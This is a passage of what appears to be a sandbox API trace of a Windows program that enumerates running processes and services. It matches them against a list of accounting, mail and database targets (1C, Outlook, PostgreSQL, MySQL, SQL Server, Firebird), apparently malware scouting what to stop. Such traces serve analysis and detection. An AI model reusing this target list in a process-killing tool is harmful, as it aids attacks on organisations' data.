returned -1 [0173.498] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0173.498] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0173.498] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0173.498] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0173.498] lstrlenW (lpString="WPDBusEnum") returned 10 [0173.498] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0173.498] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0173.498] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0173.498] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0173.498] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0173.498] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x724190 | out: hHeap=0x630000) returned 1 [0173.498] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1b4 [0173.501] Process32FirstW (in: hSnapshot=0x1b4, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0173.501] Process32NextW (in: hSnapshot=0x1b4, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x51, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0173.502] lstrlenW (lpString="System") returned 6 [0173.502] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0173.502] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0173.502] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0173.502] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0173.502] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0173.502] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0173.502] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0173.502] Process32NextW (in: hSnapshot=0x1b4, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0173.502] lstrlenW (lpString="smss.exe") returned 8 [0173.502] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0173.502] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0173.502] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0173.502] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0173.503] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0173.503] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0173.503] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0173.503] Process32NextW (in: hSnapshot=0x1b4, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0173.503] lstrlenW (lpString="csrss.exe") returned 9 [0173.503] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0173.503] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0173.503] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0173.503] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0173.503] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0173.503] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0173.503] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0173.503] Process32NextW (in: hSnapshot=0x1b4, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0173.504] lstrlenW (lpString="wininit.exe") returned 11 [0173.504] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0173.504] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0173.504] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0173.504] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0173.504] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0173.504] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0173.504] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0173.504] Process32NextW (in: hSnapshot=0x1b4, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0173.504] lstrlenW (lpString="csrss.exe") returned 9 [0173.504] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0173.504] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0173.504] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0173.504] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0173.504] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0173.504] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0173.504] Process32NextW (in: hSnapshot=0x1b4, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0173.505] lstrlenW (lpString="winlogon.exe") returned 12 [0173.505] Process32NextW (in: hSnapshot=0x1b4, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0173.505] lstrlenW (lpString="services.exe") returned 12 [0173.505] Process32NextW (in: hSnapshot=0x1b4, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0173.505] lstrlenW (lpString="lsass.exe") returned 9 [0173.506] Process32NextW (in: hSnapshot=0x1b4, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0173.506] lstrlenW (lpString="lsm.exe") returned 7 [0173.506] Process32NextW (in: hSnapshot=0x1b4, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0173.506] lstrlenW (lpString="svchost.exe") returned 11 [0173.506] Process32NextW (in: hSnapshot=0x1b4, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0173.506] lstrlenW (lpString="svchost.exe") returned 11 [0173.507] Process32NextW (in: hSnapshot=0x1b4, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0173.507] lstrlenW (lpString="svchost.exe") returned 11 [0173.507] Process32NextW (in: hSnapshot=0x1b4, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0173.507] lstrlenW (lpString="svchost.exe") returned 11 [0173.507] Process32NextW (in: hSnapshot=0x1b4, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2d, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0173.515] lstrlenW (lpString="svchost.exe") returned 11 [0173.515] Process32NextW (in: hSnapshot=0x1b4, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0173.515] lstrlenW (lpString="audiodg.exe") returned 11 [0173.515] Process32NextW (in: hSnapshot=0x1b4, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0173.516] lstrlenW (lpString="svchost.exe") returned 11 [0173.516] Process32NextW (in: hSnapshot=0x1b4, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0173.516] lstrlenW (lpString="explorer.exe") returned 12 [0173.516] Process32NextW (in: hSnapshot=0x1b4, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x41c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x324, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0173.516] lstrlenW (lpString="dwm.exe") returned 7 [0173.516] Process32NextW (in: hSnapshot=0x1b4, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0173.517] lstrlenW (lpString="svchost.exe") returned 11 [0173.517] Process32NextW (in: hSnapshot=0x1b4, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x3a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 1 [0173.517] lstrlenW (lpString="n.exe") returned 5 [0173.517] Process32NextW (in: hSnapshot=0x1b4, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0173.517] lstrlenW (lpString="spoolsv.exe") returned 11 [0173.517] Process32NextW (in: hSnapshot=0x1b4, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x57c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0173.518] lstrlenW (lpString="svchost.exe") returned 11 [0173.518] Process32NextW (in: hSnapshot=0x1b4, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x584, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0173.518] lstrlenW (lpString="taskhost.exe") returned 12 [0173.518] Process32NextW (in: hSnapshot=0x1b4, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0173.519] lstrlenW (lpString="reader_sl.exe") returned 13 [0173.519] Process32NextW (in: hSnapshot=0x1b4, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x4f8, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 1 [0173.519] lstrlenW (lpString="n.exe") returned 5 [0173.519] Process32NextW (in: hSnapshot=0x1b4, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x6dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 1 [0173.519] lstrlenW (lpString="n.exe") returned 5 [0173.519] Process32NextW (in: hSnapshot=0x1b4, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x6dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 0 [0173.520] CloseHandle (hObject=0x1b4) returned 1 [0173.520] Sleep (dwMilliseconds=0x1f4) [0174.136] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x69e710 [0174.165] EnumServicesStatusExW (in: hSCManager=0x69e710, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x1f4ff44, lpServicesReturned=0x1f4ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x1f4ff44, lpServicesReturned=0x1f4ff5c, lpResumeHandle=0x0) returned 0 [0174.165] GetLastError () returned 0xea [0174.165] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x11e4) returned 0x724190 [0174.165] EnumServicesStatusExW (in: hSCManager=0x69e710, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x724190, cbBufSize=0x11e4, pcbBytesNeeded=0x1f4ff44, lpServicesReturned=0x1f4ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x724190, pcbBytesNeeded=0x1f4ff44, lpServicesReturned=0x1f4ff5c, lpResumeHandle=0x0) returned 1 [0174.166] CloseServiceHandle (hSCObject=0x69e710) returned 1 [0174.166] lstrlenW (lpString="Appinfo") returned 7 [0174.166] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0174.166] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0174.166] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0174.166] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0174.166] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0174.166] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0174.166] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0174.166] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0174.166] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0174.166] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0174.166] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0174.166] lstrlenW (lpString="AudioSrv") returned 8 [0174.166] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0174.166] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0174.166] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0174.166] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0174.166] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0174.166] lstrlenW (lpString="BFE") returned 3 [0174.166] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0174.166] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0174.166] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0174.166] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0174.166] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0174.166] lstrlenW (lpString="CryptSvc") returned 8 [0174.167] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0174.167] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0174.167] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0174.167] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0174.167] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0174.167] lstrlenW (lpString="CscService") returned 10 [0174.167] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0174.167] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0174.167] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0174.167] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0174.167] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0174.167] lstrlenW (lpString="DcomLaunch") returned 10 [0174.167] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0174.167] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0174.167] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0174.167] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0174.167] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0174.167] lstrlenW (lpString="Dhcp") returned 4 [0174.167] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0174.167] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0174.167] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0174.167] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0174.167] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0174.167] lstrlenW (lpString="Dnscache") returned 8 [0174.167] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0174.167] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0174.167] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0174.167] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0174.167] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0174.167] lstrlenW (lpString="DPS") returned 3 [0174.168] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0174.168] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0174.168] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0174.168] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0174.168] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0174.168] lstrlenW (lpString="eventlog") returned 8 [0174.168] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0174.168] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0174.168] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0174.168] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0174.168] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0174.168] lstrlenW (lpString="EventSystem") returned 11 [0174.168] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0174.168] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0174.168] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0174.168] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0174.168] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0174.168] lstrlenW (lpString="gpsvc") returned 5 [0174.168] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0174.168] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0174.168] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0174.168] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0174.168] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0174.168] lstrlenW (lpString="iphlpsvc") returned 8 [0174.168] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0174.168] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0174.168] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0174.168] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0174.169] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0174.169] lstrlenW (lpString="LanmanServer") returned 12 [0174.169] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0174.169] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0174.169] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0174.169] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0174.169] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0174.169] lstrlenW (lpString="LanmanWorkstation") returned 17 [0174.169] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0174.169] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0174.169] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0174.169] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0174.169] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0174.169] lstrlenW (lpString="lmhosts") returned 7 [0174.169] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0174.169] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0174.169] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0174.169] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0174.169] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0174.169] lstrlenW (lpString="MMCSS") returned 5 [0174.169] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0174.169] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0174.169] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0174.169] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0174.169] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0174.169] lstrlenW (lpString="MpsSvc") returned 6 [0174.169] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0174.169] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0174.170] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0174.170] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0174.170] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0174.170] lstrlenW (lpString="Netman") returned 6 [0174.170] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0174.170] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0174.170] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0174.170] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0174.170] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0174.170] lstrlenW (lpString="netprofm") returned 8 [0174.170] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0174.170] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0174.170] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0174.170] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0174.170] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0174.170] lstrlenW (lpString="NlaSvc") returned 6 [0174.170] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0174.170] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0174.170] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0174.170] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0174.170] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0174.170] lstrlenW (lpString="nsi") returned 3 [0174.170] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0174.170] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0174.170] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0174.170] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0174.170] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0174.170] lstrlenW (lpString="PcaSvc") returned 6 [0174.170] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0174.170] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0174.170] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0174.170] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0174.171] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0174.171] 